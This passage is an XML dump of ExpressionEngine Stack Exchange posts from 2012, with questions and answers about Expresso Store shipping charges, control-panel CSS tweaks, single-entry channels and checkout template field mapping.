  <row Id="1596" PostTypeId="1" AcceptedAnswerId="1601" CreationDate="2012-12-13T18:44:43.680" Score="6" ViewCount="190" Body="&lt;p&gt;I'd like to add $4.00 to each order as handling, or just an adder to the shipping charge. And, actually, we have some free local delivery products so it really needs to be added to the shipping charge when there is one. Any way to do this?&lt;/p&gt;&#xA;" OwnerUserId="149" LastEditorUserId="115" LastEditDate="2012-12-14T01:40:15.867" LastActivityDate="2012-12-14T01:40:15.867" Title="How to add per-order handling charge?" Tags="|expresso-store|ecommerce|shipping|ups-shipping|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1597" PostTypeId="1" AcceptedAnswerId="1599" CreationDate="2012-12-13T18:49:10.607" Score="2" ViewCount="465" Body="&lt;p&gt;I'm trying to get a member's email address to autopopulate a form field but if I use {email} then the output is the Javascript encoded &quot;safe&quot; email address. Obviously I dont want this, I just want the email address itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I turn off the encoding - ideally in just this instance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site is running EE 2.4 and I can't update it for the moment. Seems odd that the member email is being encoded. It's not coming from a channel entry so I can't simply turn off the encoding option in channel prefs and I'm not using the {encode} tag.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="426" LastEditDate="2012-12-16T01:32:35.813" LastActivityDate="2012-12-16T01:32:35.813" Title="Output member email address without javascript encoding" Tags="|templates|members|javascript|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1599" PostTypeId="2" ParentId="1597" CreationDate="2012-12-13T19:12:26.890" Score="3" Body="&lt;p&gt;Depending on the context you might want to try the &lt;code&gt;{logged_in_email}&lt;/code&gt; variable as that's less likely to be impacted by any other modules you're using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Reposted as an answer rather than a comment as it seems to have worked.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-12-13T19:12:26.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1600" PostTypeId="2" ParentId="1592" CreationDate="2012-12-13T19:14:54.913" Score="7" Body="&lt;p&gt;I'm personally using &lt;a href=&quot;http://www.rssgraffiti.com/&quot;&gt;RSS Graffiti&lt;/a&gt; on Facebook to parse in my RSS feed and post it as Facebook entries.  Has worked brilliantly and was dead simple to set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa&lt;/p&gt;&#xA;" OwnerUserId="563" LastEditorUserId="16" LastEditDate="2012-12-13T20:12:44.287" LastActivityDate="2012-12-13T20:12:44.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1601" PostTypeId="2" ParentId="1596" CreationDate="2012-12-13T19:32:32.573" Score="4" Body="&lt;p&gt;I would first setup a new shipping method with the Default Shipping Gateway and give it a name of Free Shipping or similar and then setup a rule/s for your local area so that way someone outside of what you consider local isn't able to select it as an option. This will allow your users to select between local free delivery and then your UPS gateway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to add the price to the UPS plugin you will want to open up the shipping plugin system/expressionengine/third_party/store/libraries/store_shipping/store_shipping_ups.php (I am not at my computer with the files so I can't give you exact line numbers) scroll down towards the bottom  you should see something along the lines of &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;return (float)$xml-&amp;gt;ShipmentRate-&amp;gt;TotalCharges-&amp;gt;MonetaryValue;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you will want to change that to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;return (float)$xml-&amp;gt;ShipmentRate-&amp;gt;TotalCharges-&amp;gt;MonetaryValue +4;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should then add $4 to the calculated price of your shipping.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2012-12-14T01:39:34.320" LastActivityDate="2012-12-14T01:39:34.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1602" PostTypeId="1" AcceptedAnswerId="1603" CreationDate="2012-12-13T21:13:30.030" Score="2" ViewCount="358" Body="&lt;p&gt;I have a Pixel &amp;amp; Tonic multi-select field with 50-60 rows in it. The users obviously need to be able to easily select more than one item. By default, the P&amp;amp;T field shows about 4 items at a time, which is making this enormously difficult to use - I'm half tempted to switch to categories. I don't see anywhere where I can set the height of the multi-select field when setting up the custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the source, I should be able to target it with CSS/JS (#sub_hold_field_128 select) and set its height:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;sub_hold_field_128&quot; &amp;gt;                                                                              &#xA;   &amp;lt;fieldset class=&quot;holder&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;field_id_128&quot; value=&quot;n&quot; /&amp;gt;&#xA;      &amp;lt;select name=&quot;field_id_128[]&quot;  multiple=&quot;multiple&quot;&amp;gt;&#xA;          &amp;lt;option value=&quot;al&quot;&amp;gt;Alabama&amp;lt;/option&amp;gt;&#xA;          &amp;lt;option value=&quot;ak&quot; selected=&quot;selected&quot;&amp;gt;Alaska&amp;lt;/option&amp;gt;&#xA;          &amp;lt;option value=&quot;az&quot; selected=&quot;selected&quot;&amp;gt;Arizona&amp;lt;/option&amp;gt;&#xA;          &amp;lt;option value=&quot;ar&quot;&amp;gt;Arkansas&amp;lt;/option&amp;gt;&#xA;          ... etc ...&#xA;      &amp;lt;/select&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the easiest way to set this? Do I need to tie into a hook like cp_css_end? &lt;/p&gt;&#xA;" OwnerUserId="380" LastActivityDate="2013-07-03T02:38:36.943" Title="How to target a specific field in the Control Panel with CSS or JS to increase its height (P&amp;T Multiselect)?" Tags="|control-panel|javascript|css|multiselect|fieldtype|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1603" PostTypeId="2" ParentId="1602" CreationDate="2012-12-13T21:13:30.030" Score="5" Body="&lt;p&gt;After a few minutes I was able to figure out an easy way to do this. I found a similar question here on EESE about &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1552/how-to-add-a-custom-javascript-to-the-new-entry-control-panel&quot;&gt;adding custom JS to a new entry&lt;/a&gt;. I was able to put the CSS I needed right in instructions of the field. I had to keep everything on one line, because the field instructions look like they're being parsed with XHTML, so it was adding paragraph tags around each line. I ended up adding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style type=&quot;text/css&quot; media=&quot;screen&quot;&amp;gt;#sub_hold_field_128 select {height:500px;}&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That ends up being wrapped in paragraph tags, leaving a less than desirable extra space between the title and the field, but this works, and is an easy solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uALzK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="380" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-07-03T02:38:36.943" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1604" PostTypeId="2" ParentId="1536" CreationDate="2012-12-13T21:50:26.000" Score="1" Body="&lt;p&gt;I'm not sure exactly which tag you need the site parameter on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store is Multi-site Manager compatible and stores the site ID on the carts and orders in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're trying to show orders from the front-end, the &lt;code&gt;{exp:store:orders}&lt;/code&gt; tag automatically uses the current site id to filter the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to override that and show orders from another site on the front-end, you'll likely need to write an add-on to do so or use the query module. &lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2012-12-13T21:50:26.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1605" PostTypeId="2" ParentId="1558" CreationDate="2012-12-13T23:45:03.143" Score="0" Body="&lt;p&gt;For a small number of text bits, I use Snippets, with a direct link in the CP for client. I just login as the client-user and make a quick link via the &quot;+ Add&quot; button which you can find in the main navigation. This button takes me to the Main Menu Manger so I can setup the title of the nav item any way I like. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wKcDO.png&quot; alt=&quot;Main Menu Manager&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Insure that the users' member group has access to Snippets. Not as efficient if you have a bunch of users - then Zoo Flexible Admin or something like this will be a better solution.&lt;/p&gt;&#xA;" OwnerUserId="225" LastEditorUserId="16" LastEditDate="2012-12-14T05:21:37.493" LastActivityDate="2012-12-14T05:21:37.493" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1606" PostTypeId="2" ParentId="1524" CreationDate="2012-12-14T00:07:16.003" Score="0" Body="&lt;p&gt;Client had set the profile trigger to '---jkhadhaksdhvasdv'.time()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which randomizes it. Great for avoiding member spam, awful for making member profile functions work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks all.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2012-12-14T00:07:16.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1607" PostTypeId="1" AcceptedAnswerId="1609" CreationDate="2012-12-14T00:53:42.180" Score="2" ViewCount="249" Body="&lt;p&gt;Hello I'm having problems with the checkout tags and the shipping address features of Store from Exp:resso. I'm using Zoo Visitor and I've set up Store to map order fields with Zoo Visitor member fields. When the Zoo Vistor shipping member fields are set, if I try to checkout my cart, the shipping address will be the same as billing, it won't take the shipping mapped member fields to pre-fill the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I complete my checkout, the changes I made in my shipping address will be saved in the Zoo Visitor profile, but if I try to checkout another cart, it will fulfill the shipping address with the billing one again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can build up my own inputs, and I could try to grab the data from the Zoo Visitor profile, but isn't order fields mapping supposed to solve this, even for shipping infos ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Checkout Template&lt;/strong&gt; :&#xA;I'm using the one from Store, pretty much unchanged&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;form_class=&quot;form-horizontal&quot;&#xA;next=&quot;site/checkout2&quot;&#xA;error_handling=&quot;inline&quot;&#xA;error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;'&#xA;require=&quot;name|address1|address3|country&quot;}&#xA;&#xA;{if no_items}&#xA;    {redirect=&quot;site/checkout&quot;}&#xA;{/if}&#xA;&#xA;&amp;lt;fieldset id=&quot;billing_details&quot;&amp;gt;&#xA;    &amp;lt;legend&amp;gt;Billing Details&amp;lt;/legend&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group {if error:billing_name}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_name} {error:billing_name}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group {if error:billing_address1}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_address1&quot;&amp;gt;Address&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_address1} {error:billing_address1}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group {if error:billing_address2}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_address2} {error:billing_address2}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group {if error:billing_address3}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_address3&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_address3} {error:billing_address3}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group {if error:billing_postcode}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_postcode&quot;&amp;gt;Postcode&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_postcode} {error:billing_postcode}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group {if error:billing_country}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_country&quot;&amp;gt;Country&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_country} {error:billing_country}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group {if error:billing_phone}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_phone&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_phone} {error:billing_phone}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group {if error:order_email}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;order_email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:order_email} {error:order_email}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;legend&amp;gt;Shipping Details&amp;lt;/legend&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;shipping_same_as_billing&quot; class=&quot;checkbox&quot;&amp;gt;&#xA;                {field:shipping_same_as_billing} Same as Billing Details&#xA;            &amp;lt;/label&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;shipping_details_drawer&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:shipping_name}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;shipping_name&quot; value=&quot;{shipping_name}&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:shipping_address1}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_address1&quot;&amp;gt;Address&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                {field:shipping_address1} {error:shipping_address1}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:shipping_address2}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                {field:shipping_address2} {error:shipping_address2}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:shipping_address3}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_address3&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                {field:shipping_address3} {error:shipping_address3}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:shipping_postcode}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_postcode&quot;&amp;gt;Postcode&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                {field:shipping_postcode} {error:shipping_postcode}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:shipping_country}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_country&quot;&amp;gt;Country&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                {field:shipping_country} {error:shipping_country}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:shipping_phone}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_phone&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                {field:shipping_phone} {error:shipping_phone}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;form-actions&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;{path='site/checkout'}&quot; class=&quot;btn&quot;&amp;gt;Back&amp;lt;/a&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;next&quot; value=&quot;Review Order&quot; class=&quot;btn btn-primary&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;{/exp:store:checkout}&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$(function() {&#xA;    $('#shipping_same_as_billing').change(function() {&#xA;        if (this.checked) {&#xA;            $('#shipping_details_drawer').slideUp();&#xA;        } else {&#xA;            $('#shipping_details_drawer').slideDown();&#xA;        }&#xA;    });&#xA;    if ($('#shipping_same_as_billing').is(':checked')) {&#xA;        $('#shipping_details_drawer').hide();&#xA;    }&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="614" LastActivityDate="2013-10-09T22:01:57.123" Title="Exp:resso Store and Zoo Visitor shipping informations problem" Tags="|expresso-store|zoo-visitor|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1608" PostTypeId="2" ParentId="1602" CreationDate="2012-12-14T01:24:59.620" Score="4" Body="&lt;p&gt;As a small edition to this (and it's a great solution by the way!), when I need to do something like this ... rather then putting the CSS (or JS!) directly into the instructions field, I create a .css or .js file and then add the link to the instructions field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;/assets/js/ee_cp.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/assets/css/ee_cp.css&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The obvious benefits of this is that it's then very easy to add or edit if I've made a mistake or require an addition!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good example of where I use this is with a Pixel &amp;amp; Tonic 'pill' field type. For example, in one channel (lets say a News channel), I may have different fields depending on if it's a generic news item, a media release, a simple quote, etc.  With some pretty basic JS, I can use the Pill field type to allow a user to select the 'Content type', and then show/hide other fields based on that selection. Boom!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's lovely that Ellislab included this (possibly as a simple side effect of the instructions field, but lets not get picky!).&lt;/p&gt;&#xA;" OwnerUserId="140" LastActivityDate="2012-12-14T01:24:59.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1609" PostTypeId="2" ParentId="1607" CreationDate="2012-12-14T01:29:54.893" Score="2" Body="&lt;p&gt;Can you open up Store &gt; Settings &gt; General and scroll down to &quot;Default Shipping Address&quot; unless you have changed it would be set to &quot;Shipping same as Billing&quot; change that to &quot;None&quot; and save. You will need to empty your cart to clear the session data but you should now see the fields being populated by your ZooVisitor field data for the shipping fields now.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-12-14T01:29:54.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1610" PostTypeId="2" ParentId="1536" CreationDate="2012-12-14T01:49:17.970" Score="2" Body="&lt;p&gt;Since Store tags operate on top of Channel Data if you add the &lt;code&gt;site_id&lt;/code&gt; parameter to the channel entries tag Store will be displaying the proper items based upon that. So for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; site_id=&quot;2&quot;}&#xA; {exp:store:products entry_id=&quot;{entry_id}&quot;&#xA;  &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;h3&amp;gt;{price}&amp;lt;/h3&amp;gt;&#xA; {/exp:product:price}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would only show products for the site 2 so you wouldnt need to add site_id to the product tags.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-12-14T01:49:17.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1611" PostTypeId="1" AcceptedAnswerId="1613" CreationDate="2012-12-14T03:12:11.207" Score="4" ViewCount="810" Body="&lt;p&gt;Is there a way to limit channel entries to a specific number? For example, what if I had a &quot;Company Details&quot; channel (company name, address, telephone number, etc.). Generally, a site would only need one of those. If I use Channels, the user can add multiple Company Details, which is not right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it there a way to limit Channel entries? Or should I be using something else?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-16T02:01:52.607" Title="Limit Channel Entry to 1?" Tags="|channel-entries|channel|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1612" PostTypeId="2" ParentId="1611" CreationDate="2012-12-14T03:18:00.653" Score="0" Body="&lt;p&gt;If you set &lt;code&gt;limit=&quot;1&quot;&lt;/code&gt; in the channel:entries tag EE will call your most recent entry in the channel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to call a specific channel entry you set &lt;code&gt;entry_id=&quot;ID_NUMBER_HERE&quot;&lt;/code&gt; in the channel:entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Links to channel:entries parameters in EE docs:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#limit&quot; rel=&quot;nofollow&quot;&gt;limit parameter&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#entry-id&quot; rel=&quot;nofollow&quot;&gt;entry_id parameter&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-14T03:18:00.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1613" PostTypeId="2" ParentId="1611" CreationDate="2012-12-14T03:38:20.653" Score="8" Body="&lt;p&gt;There are two add-ons that are very useful for single-entry channels:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;As Jeremy mentioned, &lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/single-entry&quot;&gt;Single Entry&lt;/a&gt;&lt;/strong&gt; (great add-on!)&lt;/li&gt;&#xA;&lt;li&gt;or &lt;a href=&quot;http://devot-ee.com/add-ons/cp-menu-master&quot;&gt;&lt;strong&gt;CP Menu Master&lt;/strong&gt;&lt;/a&gt; -- also a useful add-on (formerly &quot;Hidden Channels&quot;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Either of these will remove the given channel from the Content &gt; Publish menu, making it less likely for the end-user to be confused and publish additional entries in a channel that isn't made for that.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-12-14T04:48:45.673" LastActivityDate="2012-12-14T04:48:45.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1614" PostTypeId="1" AcceptedAnswerId="1618" CreationDate="2012-12-14T03:38:40.507" Score="3" ViewCount="53" Body="&lt;p&gt;How do I convert the weight of a product? Currently it's in kg, would like to display it in grammes. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="615" LastEditorUserId="28" LastEditDate="2012-12-14T03:40:52.153" LastActivityDate="2012-12-14T06:00:46.527" Title="Expresso-store: Display weight in grammes instead" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1615" PostTypeId="1" AcceptedAnswerId="1629" CreationDate="2012-12-14T03:43:31.483" Score="4" ViewCount="117" Body="&lt;p&gt;I am having a strange issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the latest version of EE 2.5.3 installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I update any text inside of a text area in the control panel (including templates, a template for an extension like Better Meta), certain characters are automatically converted to html encoded tags. For example, &lt;code&gt;&amp;lt;&lt;/code&gt; becomes &lt;code&gt;&amp;amp;lt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working from flat-file templates, this isn't an issue. This only occurs when editing in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Here is a screenshot: &lt;a href=&quot;http://f.cl.ly/items/3u2Q190k3g4506052p0d/wtf.png&quot; rel=&quot;nofollow&quot;&gt;http://f.cl.ly/items/3u2Q190k3g4506052p0d/wtf.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2012-12-14T16:01:35.623" Title="Characters are being re-encoded in control panel" Tags="|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1616" PostTypeId="2" ParentId="1611" CreationDate="2012-12-14T03:52:46.070" Score="5" Body="&lt;p&gt;As mentioned already, &lt;a href=&quot;http://devot-ee.com/add-ons/single-entry&quot;&gt;Single Entry&lt;/a&gt; is brilliant to do this sort of thing. A great example would be your 'home' page entry. You might have a channel called 'home' with a single 'home' entry. The Single Entry add-on is great for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Company Details (which is the example given) that are used in the site, I would tend to go NOT having them in a single entry, but as either Global Variables (built-in to EE), or even better, use &lt;a href=&quot;http://devot-ee.com/add-ons/low-variables&quot;&gt;Low Variables&lt;/a&gt;.  Whilst this is a commercial add-on, it is WELL worth the money, and I find it gives better performance then using an entry (particularly when used across multiple pages/templates).&lt;/p&gt;&#xA;" OwnerUserId="140" LastActivityDate="2012-12-14T03:52:46.070" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1617" PostTypeId="1" AcceptedAnswerId="1619" CreationDate="2012-12-14T04:47:14.093" Score="3" ViewCount="281" Body="&lt;p&gt;I have added a custom field to my channel field group and selected the &quot;P&amp;amp;T Dropdown&quot; type but whenever I attempt to submit content the edit page just reloads and the database does not get updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the value directly within the database then the correct value is selected when the edit page is loaded. But it is still not possible to change the value of the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the following but it is still not possible to post or edit posts to the &quot;damaged&quot; channel:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Backed up database&lt;/li&gt;&#xA;&lt;li&gt;Uninstalled P&amp;amp;T field types and extension&lt;/li&gt;&#xA;&lt;li&gt;Removed physical files from server directory&lt;/li&gt;&#xA;&lt;li&gt;Removed all custom fields from custom field group&lt;/li&gt;&#xA;&lt;li&gt;Removed association with statuses and categories&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This means that I cannot post content to my channel despite the fact that it contains no custom fields, 